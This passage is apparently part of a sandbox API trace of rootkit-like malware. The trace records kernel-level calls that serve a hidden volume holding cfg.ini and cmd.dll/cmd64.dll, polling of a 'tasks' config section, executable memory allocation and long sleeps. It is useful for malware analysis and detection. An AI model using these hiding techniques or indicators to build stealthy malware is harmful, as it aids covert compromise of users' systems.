lpReturnedString="") returned 0x0 [0119.321] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.321] KeEnterCriticalRegion () [0119.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.322] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.322] IdePortDispatch () returned 0x103 [0119.323] KeWaitForMutexObject () returned 0x0 [0119.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.323] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.323] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.323] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.323] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.323] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbab0 [0119.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.323] KeLeaveCriticalRegion () [0119.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.323] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.323] KeEnterCriticalRegion () [0119.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.323] KeLeaveCriticalRegion () [0119.323] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.323] KeEnterCriticalRegion () [0119.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.323] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.323] IdePortDispatch () returned 0x103 [0119.323] KeWaitForMutexObject () returned 0x0 [0119.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.323] KeLeaveCriticalRegion () [0119.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.323] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.324] KeEnterCriticalRegion () [0119.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd2000 [0119.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.324] IdePortDispatch () returned 0x103 [0119.324] KeWaitForMutexObject () returned 0x0 [0119.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.324] IdePortDispatch () returned 0x103 [0119.324] KeWaitForMutexObject () returned 0x0 [0119.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.324] KeLeaveCriticalRegion () [0119.324] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.325] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.325] KeEnterCriticalRegion () [0119.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] KeLeaveCriticalRegion () [0119.325] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.325] KeEnterCriticalRegion () [0119.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] KeLeaveCriticalRegion () [0119.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.325] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.325] KeEnterCriticalRegion () [0119.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] ExFreePoolWithTag (P=0xfffffa8003bdbab0, Tag=0x0) [0119.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] KeLeaveCriticalRegion () [0119.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.325] ReleaseMutex (hMutex=0xf0) returned 1 [0119.325] Sleep (dwMilliseconds=0x927c0) [0119.330] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.330] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.332] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.332] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.332] KeEnterCriticalRegion () [0119.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.332] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.332] IdePortDispatch () returned 0x103 [0119.332] KeWaitForMutexObject () returned 0x0 [0119.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.333] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.333] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.333] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.333] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.333] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb510 [0119.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] KeLeaveCriticalRegion () [0119.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.333] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.333] KeEnterCriticalRegion () [0119.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] KeLeaveCriticalRegion () [0119.333] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.333] KeEnterCriticalRegion () [0119.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.333] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.333] IdePortDispatch () returned 0x103 [0119.333] KeWaitForMutexObject () returned 0x0 [0119.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] KeLeaveCriticalRegion () [0119.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.333] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.333] KeEnterCriticalRegion () [0119.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.333] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf5000 [0119.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.333] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.333] IdePortDispatch () returned 0x103 [0119.334] KeWaitForMutexObject () returned 0x0 [0119.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.334] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.334] IdePortDispatch () returned 0x103 [0119.334] KeWaitForMutexObject () returned 0x0 [0119.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.334] KeLeaveCriticalRegion () [0119.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.334] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.334] KeEnterCriticalRegion () [0119.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] KeLeaveCriticalRegion () [0119.335] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.335] KeEnterCriticalRegion () [0119.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.335] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] KeLeaveCriticalRegion () [0119.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.335] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.335] KeEnterCriticalRegion () [0119.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] ExFreePoolWithTag (P=0xfffffa8003bcb510, Tag=0x0) [0119.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] KeLeaveCriticalRegion () [0119.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.335] ReleaseMutex (hMutex=0xf0) returned 1 [0119.335] Sleep (dwMilliseconds=0x927c0) [0119.345] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.345] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.345] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.345] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.345] KeEnterCriticalRegion () [0119.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.345] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.345] IdePortDispatch () returned 0x103 [0119.345] KeWaitForMutexObject () returned 0x0 [0119.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb950 [0119.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] KeLeaveCriticalRegion () [0119.346] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.346] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.346] KeEnterCriticalRegion () [0119.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] KeLeaveCriticalRegion () [0119.346] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.346] KeEnterCriticalRegion () [0119.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.346] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.346] IdePortDispatch () returned 0x103 [0119.346] KeWaitForMutexObject () returned 0x0 [0119.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] KeLeaveCriticalRegion () [0119.346] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.346] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.346] KeEnterCriticalRegion () [0119.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.346] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf9000 [0119.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.347] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.347] IdePortDispatch () returned 0x103 [0119.347] KeWaitForMutexObject () returned 0x0 [0119.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.347] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.347] IdePortDispatch () returned 0x103 [0119.347] KeWaitForMutexObject () returned 0x0 [0119.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.347] KeLeaveCriticalRegion () [0119.347] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.347] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.348] KeEnterCriticalRegion () [0119.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] KeLeaveCriticalRegion () [0119.348] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.348] KeEnterCriticalRegion () [0119.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.348] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcba10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] KeLeaveCriticalRegion () [0119.348] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.348] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.348] KeEnterCriticalRegion () [0119.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] ExFreePoolWithTag (P=0xfffffa8003bcb950, Tag=0x0) [0119.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] KeLeaveCriticalRegion () [0119.348] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.348] ReleaseMutex (hMutex=0xf0) returned 1 [0119.348] Sleep (dwMilliseconds=0x927c0) [0119.362] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.362] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.362] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.362] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.362] KeEnterCriticalRegion () [0119.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.362] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.363] IdePortDispatch () returned 0x103 [0119.363] KeWaitForMutexObject () returned 0x0 [0119.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.365] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.365] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.365] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.365] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.365] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafc40 [0119.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.365] KeLeaveCriticalRegion () [0119.365] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.365] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.365] KeEnterCriticalRegion () [0119.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.365] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.365] ExReleaseFastMutexUnsafe (in: 